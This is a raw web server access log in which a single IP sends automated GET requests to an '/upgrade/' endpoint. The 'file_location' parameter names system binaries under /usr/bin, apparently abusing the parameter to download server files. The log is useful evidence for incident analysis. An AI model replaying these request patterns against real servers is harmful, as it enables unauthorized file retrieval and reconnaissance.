45.135.193.11 - - [11/Sep/2026:22:44:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbase32&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110458 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbase32&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdoveconf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 215621 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdoveconf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffgrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95808 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffgrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-list-caches&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100148 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-list-caches&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpydoc3&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95773 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpydoc3&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frenice&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101134 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frenice&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffunzip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108687 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffunzip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99520 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhb-shape&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114361 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhb-shape&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fipcrm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102940 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fipcrm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fless&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 189873 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fless&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnetcat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 115786 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnetcat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_get_elem_status&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104060 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_get_elem_status&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsoelim.groff&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111656 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsoelim.groff&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-stdio-bridge&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102871 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-stdio-bridge&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftsort&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 115069 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftsort&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzmore&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96876 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzmore&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbxtool&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104235 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbxtool&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgetfattr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106342 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgetfattr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgprof&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 142041 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgprof&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkbdrate&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102043 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkbdrate&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flinux64&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103209 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flinux64&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsql2mysql&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96558 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsql2mysql&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqld_multi&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105996 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqld_multi&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-tty-ask-password-agent&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109091 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-tty-ask-password-agent&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcolcrt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101690 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcolcrt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmake&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 219851 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmake&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-upgrade&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 981355 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-upgrade&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1080463 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_plugin&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 890301 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_plugin&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-rule-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99983 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-rule-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_bg_ctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101270 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_bg_ctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftraceroute&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 128707 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftraceroute&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcheckmodule&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 317459 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcheckmodule&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcksum&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108697 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcksum&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-dumpslow&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99552 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-dumpslow&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnbddump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102745 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnbddump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-cls-add&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101352 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-cls-add&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-firstboot&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117593 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-firstboot&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 115307 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fview&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95771 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fview&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbootconfig&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106478 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbootconfig&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkpasswd-pbkdf2&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 203533 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkpasswd-pbkdf2&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqld_safe&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108313 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqld_safe&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2ascii&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96010 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2ascii&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funexpand&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111630 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funexpand&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funzip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 190556 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funzip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114077 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwrite&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103292 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwrite&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ficu-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95857 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ficu-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-ct-add&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100902 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-ct-add&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcaptoinfo&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 135263 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcaptoinfo&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbus-monitor&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106120 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbus-monitor&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Felfedit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109775 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Felfedit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio-genzipf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109652 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio-genzipf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpydoc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95852 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpydoc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fteamdctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108507 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fteamdctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxmlcatalog&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103548 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxmlcatalog&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fypdomainname&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102684 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fypdomainname&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgettext.sh&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98227 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgettext.sh&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:44:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fipcalc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 118117 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fipcalc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
